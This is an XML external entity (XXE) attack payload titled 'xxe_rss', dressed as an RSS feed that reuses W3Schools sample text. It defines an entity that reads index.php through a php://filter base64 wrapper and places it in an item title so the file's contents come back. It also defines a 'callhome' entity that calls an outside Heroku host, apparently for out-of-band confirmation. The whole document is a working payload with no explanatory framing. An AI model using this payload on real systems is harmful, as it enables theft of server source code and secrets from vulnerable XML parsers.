xxe_rss

<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php" >
  <!ENTITY callhome SYSTEM "http://choccobin.herokuapp.com/1oex60x1/index.php?hello=1&there=2">
]>
<rss version="2.0">
<channel>
  <title>W3Schools Home Page</title>
  <link>https://www.w3schools.com</link>
  <description>Free web building tutorials</description>
  <item>
    <title>&xxe;</title>
    <link>https://www.w3schools.com/xml/xml_rss.asp</link>
    <description>New RSS tutorial on W3Schools</description>
  </item>
</channel>

</rss>